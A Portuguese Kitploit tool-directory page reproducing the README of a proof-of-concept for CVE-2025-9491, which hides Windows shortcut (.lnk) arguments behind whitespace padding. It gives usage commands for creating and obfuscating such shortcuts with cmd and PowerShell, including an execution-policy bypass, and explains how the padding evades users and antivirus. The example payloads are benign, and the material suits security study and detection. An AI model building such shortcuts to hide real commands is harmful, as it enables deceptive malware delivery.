Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-9491_POC — Prova de conceito do CVE-2025-9491 usando caracteres invisíveis nos argumentos de um atalho do Windows (.lnk) | Kitploit
Ferramentas/GitHubGitHub/amperclock/cve-2025-9491_poc
ExploraçãoTestes de PenetraçãoAnálise de BináriosAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubamperclock/cve-2025-9491_poc

CVE-2025-9491_POC

Prova de conceito do CVE-2025-9491 usando caracteres invisíveis nos argumentos de um atalho do Windows (.lnk)

Ver Repositório
184há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de Ofuscação de LNK CVE-2025-9491

Uma ferramenta de prova de conceito para demonstrar a vulnerabilidade de Atalho do Windows (arquivo LNK) (ZDI-CAN-25373/CVE-2025-9491). Esta ferramenta mostra como argumentos de linha de comando maliciosos podem ser ocultados dentro de arquivos .lnk aproveitando o preenchimento com caracteres de espaço em branco.

**Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas em sistemas que você possui ou para os quais tem permissão explícita para testar.


Índice

  • Descrição
  • Detalhes da Vulnerabilidade
  • Instalação
  • Uso
    • Modo Criar
    • Modo Ofuscar
    • Modo Analisar
  • Créditos

Descrição

Esta é uma ferramenta de prova de conceito para criar e manipular arquivos .lnk (atalho) do Windows, a fim de demonstrar a vulnerabilidade CVE-2025-9491. A ferramenta permite que os usuários:

  1. Criem novos arquivos LNK ofuscados do zero
  2. Ofusquem arquivos LNK existentes adicionando preenchimento aos seus argumentos
  3. Analisem arquivos LNK para inspecionar seu conteúdo

A vulnerabilidade explora como o Windows exibe as propriedades de arquivos de atalho, permitindo que atacantes ocultem argumentos de linha de comando maliciosos de usuários que inspecionam o atalho.


Detalhes da Vulnerabilidade

CVE-2025-9491 é uma vulnerabilidade de má representação da interface do usuário do Windows que afeta arquivos .lnk (atalho). Foi descoberta pela Iniciativa de Dia Zero (ZDI) da Trend Micro (ZDI-CAN-25373) e tem sido explorada por grupos APT patrocinados por estados desde pelo menos 2017 (verifique os Créditos para detalhes adicionais sobre isso).

A vulnerabilidade explora o campo "Destino" de tamanho fixo da interface de atalho do Windows. Ao preencher os argumentos com caracteres de espaço em branco (espaço, tabulação, quebra de linha, retorno de carro), um ator malicioso pode: ocultar comandos maliciosos e executar payloads ocultos. Isso também pode ser usado para evadir detecção, pois os usuários que inspecionam o atalho veem apenas o espaço em branco preenchido, não o comando real, e o EDR terá uma linha de comando extremamente longa na telemetria; se for longa o suficiente, os EPP ou AV comuns desistirão de lê-la por completo.


Instalação

Python 3.7 ou superior é necessário.

  1. Clone ou baixe o repositório:

    root@kitploit:~
    git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
    cd CVE-2025-9491_POC
    
  2. Instale as dependências:

    root@kitploit:~
    Maneira rápida e suja; venv é preferível.
    pip install -r requirements.txt
    
  3. Execute a ferramenta:

    root@kitploit:~
    python main.py --help
    

Uso

A ferramenta possui três modos principais: create (criar), obfuscate (ofuscar) e parse (analisar).

Modo Criar

Cria um novo arquivo LNK ofuscado do zero.

Sintaxe:

root@kitploit:~
python main.py create -t ALVO -a ARGUMENTOS -o SAÍDA [opções]

Argumentos Obrigatórios:

  • -t, --target - Caminho para o arquivo executável alvo
  • -a, --arguments - Argumentos a serem passados para o executável alvo
  • -o, --output - Destino do arquivo LNK de saída

Argumentos Opcionais:

  • -c, --charset - Conjunto de caracteres personalizado para preenchimento (formato HEX)

    • Padrão: 20,09,0A,0B,0C,0D (espaço, tab, LF, VT, FF, CR)
    • Formato: Valores HEX separados por vírgula (sem prefixo 0x)
  • -s, --padding_size - Número de caracteres de preenchimento

    • Padrão: 128 (nenhum limite conhecido)
    • Tipo: Inteiro
  • -p, --pattern_type - Estilo do padrão de preenchimento

    • 1 (padrão): Padrão aleatório - Usa seleção aleatória do conjunto de caracteres
    • 2: Padrão mono - Repete o primeiro elemento do conjunto de caracteres
    • 3: Padrão cíclico - Percorre os elementos do conjunto de caracteres
  • -i, --icon - Caminho para um ícone personalizado para o atalho

    • Padrão: Nenhum (usa o ícone padrão)
  • -d, --description - Descrição visível para o atalho

    • Padrão: Nenhum
  • -v, --verbose - Ativa saída detalhada

Exemplo:

root@kitploit:~
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v

Modo Ofuscar

Adiciona preenchimento aos argumentos de um arquivo LNK existente.

Sintaxe:

root@kitploit:~
python main.py obfuscate -i ENTRADA -o SAÍDA [opções]

Argumentos Obrigatórios:

  • -i, --input - Caminho para o arquivo LNK existente a ser ofuscado
  • -o, --output - Destino do arquivo LNK de saída

Argumentos Opcionais:

  • -c, --charset - Conjunto de caracteres personalizado para preenchimento (formato HEX)

    • Padrão: 20,09,0A,0B,0C,0D
    • Formato: Valores HEX separados por vírgula
  • -s, --padding_size - Número de caracteres de preenchimento

    • Padrão: 128
    • Tipo: Inteiro
  • -p, --pattern_type - Estilo do padrão de preenchimento

    • 1 (padrão): Padrão aleatório
    • 2: Padrão mono
    • 3: Padrão cíclico
  • -v, --verbose - Ativa saída detalhada

    • Mostra carregamento de arquivo, geração de preenchimento e operações de salvamento

Exemplo:

root@kitploit:~
python main.py obfuscate -i benigno.lnk -o ofuscado.lnk -s 256 -p 3 -v

Modo Analisar

Exibe o conteúdo de um arquivo LNK existente.

Sintaxe:

root@kitploit:~
python main.py parse -i ENTRADA

Argumentos Obrigatórios:

  • -i, --input - Caminho para o arquivo LNK a ser analisado e exibido

Exemplo:

root@kitploit:~
python main.py parse -i output.lnk

Exemplos

Exemplo 1: Criar um Atalho Ofuscado Simples

root@kitploit:~
python main.py create \
  -t "cmd.exe" \
  -a "/c powershell -Command Get-Process" \
  -o malicious.lnk \
  -s 200 \
  -p 1 \
  -v

Isso cria um atalho para cmd.exe com um comando PowerShell oculto precedido por 200 caracteres de preenchimento aleatório.

Exemplo 2: Ofuscar um Atalho Existente

root@kitploit:~
python main.py obfuscate \
  -i "legitimo.lnk" \
  -o "ofuscado.lnk" \
  -s 512 \
  -c "20,09,0A" \
  -p 2

Isso adiciona 512 caracteres de preenchimento de padrão mono (usando espaço e tab) a um atalho existente.

Exemplo 3: Inspecionar um Arquivo LNK

root@kitploit:~
python main.py parse -i "suspeito.lnk"

A saída mostra todas as propriedades, incluindo argumentos ocultos.

Exemplo 4: Padrão de Conjunto de Caracteres Personalizado

root@kitploit:~
python main.py create \
  -t "powershell.exe" \
  -a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
  -o output.lnk \
  -c "20,09,0A,0B,0C,0D" \
  -s 1024 \
  -p 3 \
  -d "Meu Documento"

Créditos

  • Descoberta da Vulnerabilidade: Trend Micro Zero Day Initiative ZDI-CAN-25373
  • Biblioteca pylnk3: Strayge e colaboradores
  • Biblioteca pylnk Original: tim-erwin
Baixar ferramenta
  • Padrão: Desativado